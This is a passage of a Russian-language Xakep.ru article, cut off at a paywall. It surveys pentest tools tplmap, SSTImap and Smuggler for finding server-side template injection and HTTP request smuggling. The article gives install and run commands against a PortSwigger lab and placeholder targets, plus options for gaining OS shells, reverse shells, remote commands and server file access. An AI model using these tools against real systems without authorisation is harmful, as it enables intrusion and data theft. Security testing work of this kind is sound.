Содержание статьи
warning
Статья имеет ознакомительный характер и предназначена для специалистов по безопасности, проводящих тестирование в рамках контракта. Автор и редакция не несут ответственности за любой вред, причиненный с применением изложенной информации. Распространение вредоносных программ, нарушение работы систем и нарушение тайны переписки преследуются по закону.
0000. Tplmap
Старичок, но очень быстро ищет SSTI в веб‑приложениях. Автоматически определяет движок шаблонов (Jinja2, Twig, Smarty, Mako, Pebble и 15 других) и эксплуатирует инъекцию вплоть до shell на сервере.
SSTI (server-side template injection) — инъекция в шаблон, возникает, когда пользовательский ввод не экранируется. Введенные данные в чистом виде попадают в шаблон и обрабатываются шаблонизатором, как остальной код. Классический пример: хакер вводит в текстовое поле {{, в ответе сервера приходит 49. Это значит, что на сервере работает шаблонизатор Jinja2 или Twig. Если приложение на PHP, значит, Twig. Бэкенд на Python? Значит, Jinja2. Шаблонизатор воспринял данные в скобках {{..} как часть шаблона и выполнил код внутри скобок.
Тулза старенькая, поэтому придется поставить Python 3.9. Сделаю это в виртуальном окружении с помощью pyenv. Если pyenv у тебя не установлен:
curl https://pyenv.run | bash
echo 'export PYENV_ROOT="$HOME/.pyenv"' >> ~/.bashrc
echo 'export PATH="$PYENV_ROOT/bin:$PATH"' >> ~/.bashrc
echo 'eval "$(pyenv init -)"' >> ~/.bashrc
source ~/.bashrc
Установка tplmap:
git clone https://github.com/epinna/tplmap
python3 -m venv myvenv
source myvenv/bin/activate
pyenv install 3.9.18
pyenv local 3.9.18
pip install -r requirements.txt
pip install PyYAML requests certifi chardet idna urllib3
Давай потестим на лабе «Server-side template injection in an unknown language with a documented exploit»:
python3 tplmap.py -u "https://0a5e0095032bcee0814db22e008200dd.web-security-academy.net/?message=*" --level=5

Параметр --level определяет, насколько опасные инъекции использовать. Начинай с 1; максимальный пятый уровень указывай только тогда, когда не боишься навредить приложению.
Если нужен шелл, в зависимости от условий используй опции:
-
--os-shell— интерактивный шелл в терминале; -
--bind-shell— тулза забиндит порт под шелл, тебе останется только подключиться к нему; -
--reverse-shell— попытается поднять реверс‑шелл с подключением к указанным в параметре хосту и порту; -
--tpl-shell— интерактивный шелл с помощью движка шаблонизатора.
Для выполнения команд применяй:
-
--os-cmd— выполнение указанной команды на сервере приложений; -
--tpl-code— инъекция кода в шаблон.
Вишенка на торте — работа с файлами. Чтобы скачать нужный файл с сервера, передай в параметре --download путь к файлу, например /. Для загрузки файла на сервер юзай --upload.
Как видишь, старичок очень хорош и ориентирован на жесткую эксплуатацию!
0001. SSTImap
Разработка Владислава Корчагина, исследователя безопасности из России. Владислав знает о SSTI больше, чем кто‑либо еще. Все собранные знания он вложил в инструмент SSTImap. В том числе и в новые виды SSTI: error-based SSTI и boolean error-based blind SSTI. Подробнее смотри в отчете с OFFZONE 2025.
SSTImap — это свежий, навороченный и умный аналог tplmap, у которого гораздо больше возможностей. Здесь больше пейлоадов, способов обойти WAF и тонких настроек. Есть и оборотная сторона медали: тулзу нужно уметь запускать. Запуск «в лоб» приведет к излишнему шуму и долгому тестированию. Особенно в режиме краулинга и анализа форм.
Установка из репозитория GitHub:
git clone https://github.com/vladko312/SSTImap
pip3 install -r requirements.txt
Пример запуска:
# Простой запускpython3 sstimap.py -u 'https://target.com/page?name=John'# Режим краулинга сайта с тестированием формpython3 sstimap.py -u 'https://target.com/' --crawl 5 --forms# Если запросы с JSON в телеpython3 sstimap.py -u 'https://target.com/api/render' \ -m POST \ -d '{"name":"*"}' \ --data-type json \ -H 'Content-Type: application/json'# Работа с авторизациейpython3 sstimap.py -u 'https://target.com/page?name=*' \ -H 'Authorization: Basic bG9naW46c2VjcmV0' \ -H 'Cookie: session=abc123'# Запусти Burp Proxy и отслеживай все запросы тулзы. Увидишь пейлоады и реакцииpython3 sstimap.py -u 'https://target.com/page?name=*' -p http://127.0.0.1:8080

0010. Smuggler
Эта утилита чекает уязвимости типа HTTP request smuggling. Суть атаки в том, что фронтенд (Nginx, HAProxy и другие реверс‑прокси) и бэкенд по‑разному интерпретируют границы HTTP-запроса. Когда один из них ориентируется на заголовок Content-Length, а другой — на Transfer-Encoding: , между ними возникает рассогласование. Часть одного запроса «просачивается» в тело следующего, отсюда и название: smuggling (контрабанда).
git clone https://github.com/defparam/smuggler && cd smuggler
pip3 install requests
Продолжение доступно только участникам
Материалы из последних выпусков становятся доступны по отдельности только через два месяца после публикации. Чтобы продолжить чтение, необходимо стать участником сообщества «Xakep.ru».
Присоединяйся к сообществу «Xakep.ru»!
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
